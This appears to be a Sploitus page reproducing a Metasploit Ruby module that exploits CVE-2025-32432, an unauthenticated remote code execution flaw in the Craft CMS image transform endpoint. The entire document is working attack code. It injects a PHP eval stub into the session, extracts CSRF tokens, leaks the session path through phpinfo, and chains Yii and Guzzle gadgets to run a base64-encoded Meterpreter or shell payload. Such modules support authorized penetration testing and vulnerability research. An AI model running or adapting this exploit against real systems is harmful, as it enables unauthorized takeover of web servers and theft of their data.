Sploitus

Exploit for πŸ“„ Craft CMS Image Transform Pre-Authenticaton Remote Code Execution

packetstorm Β· 2025-05-01

Exploit Code

ruby248 lines
## https://sploitus.com/exploit?id=PACKETSTORM:190728
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Payload::Php
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability
              in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
              It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
              by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
              Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
            },
            'Author' => [
              'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
              'Valentin Lobstein'                      # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'CVE', '2025-32432' ],
              [ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
              [ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
            ],
            'Platform' => %w[php unix linux],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %(unix linux),
                  'Arch' => ARCH_CMD
                }
              ],
            ],
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            },
            'DisclosureDate' => '2025-04-14',
            'DefaultTarget' => 0
          )
        )
    
        register_options([
          OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
        ])
      end
    
      def execute_via_session(payload)
        session_id, csrf, param_name = fetch_cookies_and_csrf
        return nil unless csrf
    
        vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")
    
        session_dir = @session_path || '/var/lib/php/sessions'
        session_file = normalize_uri(session_dir, "sess_#{session_id}")
    
        body = {
          assetId: datastore['ASSET_ID'],
          handle: {
            width: Rex::Text.rand_text_numeric(1..5),
            height: Rex::Text.rand_text_numeric(1..5),
            "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
              class: 'craft\\behaviors\\FieldLayoutBehavior',
              __class: 'yii\\rbac\\PhpManager',
              '__construct()' => [
                { itemFile: session_file }
              ]
            }
          }
        }.to_json
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => {
            'p' => 'actions/assets/generate-transform',
            param_name => payload
          },
          'headers' => { 'X-CSRF-Token' => csrf },
          'ctype' => 'application/json',
          'data' => body,
          'keep_cookies' => true
        )
      end
    
      def fetch_cookies_and_csrf
        param_name = Rex::Text.rand_text_alphanumeric(5..12)
        static_stub = "<?=eval($_GET['#{param_name}']);die()?>"
    
        params = {
          'p' => 'admin/dashboard',
          param_name => static_stub
        }
    
        cookie_jar.clear
        res = send_request_cgi(
          'method' => 'GET',
          'uri_encode_mode' => 'none',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => params
        )
        return nil unless res
    
        session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
        return nil if session_id.to_s.empty?
    
        if res.code == 302 && res.headers['Location']
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => res.headers['Location'],
            'keep_cookies' => true
          )
        end
    
        csrf = extract_csrf_token(res)
        return nil unless csrf
    
        [session_id, csrf, param_name]
      end
    
      def extract_csrf_token(res)
        doc = res.get_html_document
        token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
        return token unless token.to_s.empty?
    
        vprint_status('CSRF not found in dashboard, falling back to root')
        res2 = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true
        )
        res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
      end
    
      def leak_session_path(csrf)
        res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
        return nil unless res&.body
    
        doc = res.get_html_document
    
        path = doc.at_xpath(
          "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
        )&.text
    
        path ||= doc.at_xpath(
          "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
        )&.text
    
        path&.strip
      end
    
      def send_transform(csrf, asset_id, php_string)
        json_data = {
          'assetId' => asset_id,
          'handle' => {
            'width' => Rex::Text.rand_text_numeric(1..5),
            'height' => Rex::Text.rand_text_numeric(1..5),
            "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
              'class' => 'craft\\behaviors\\FieldLayoutBehavior',
              '__class' => 'GuzzleHttp\\Psr7\\FnStream',
              '__construct()' => [[]],
              '_fn_close' => php_string
            }
          }
        }.to_json
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
          'ctype' => 'application/json',
          'headers' => { 'X-CSRF-Token' => csrf },
          'data' => json_data
        )
      end
    
      def check
        _, csrf, = fetch_cookies_and_csrf
        return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf
    
        if (path = leak_session_path(csrf))
          @session_path = path
          print_good("Leaked session.save_path: #{@session_path}")
          return CheckCode::Vulnerable('Session path leaked')
        end
    
        a = Rex::Text.rand_text_numeric(4).to_i
        b = Rex::Text.rand_text_numeric(4).to_i
    
        expr = "#{a}+#{b}"
        sum = a + b
        print_status("Checking RCE: #{expr}")
    
        payload = "print_r(#{expr});"
        res = execute_via_session(payload)
        return CheckCode::Unknown('No response') unless res
    
        if res.body.include?(sum.to_s)
          CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
        else
          CheckCode::Safe('Unable to exercise code execution.')
        end
      end
    
      def exploit
        raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        b64 = Rex::Text.encode_base64(raw)
    
        payload_code = "eval(base64_decode('#{b64}'));"
    
        print_status('Injecting stub & triggering payload...')
        execute_via_session(payload_code)
      end
    
      def php_exec_cmd(encoded_payload)
        gen = Rex::RandomIdentifier::Generator.new
        disabled_var = "$#{gen[:dis]}"
        b64 = Rex::Text.encode_base64(encoded_payload)
    
        <<~PHP
          #{php_preamble(disabled_varname: disabled_var)}
          $c=base64_decode("#{b64}");
          #{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
        PHP
      end
    end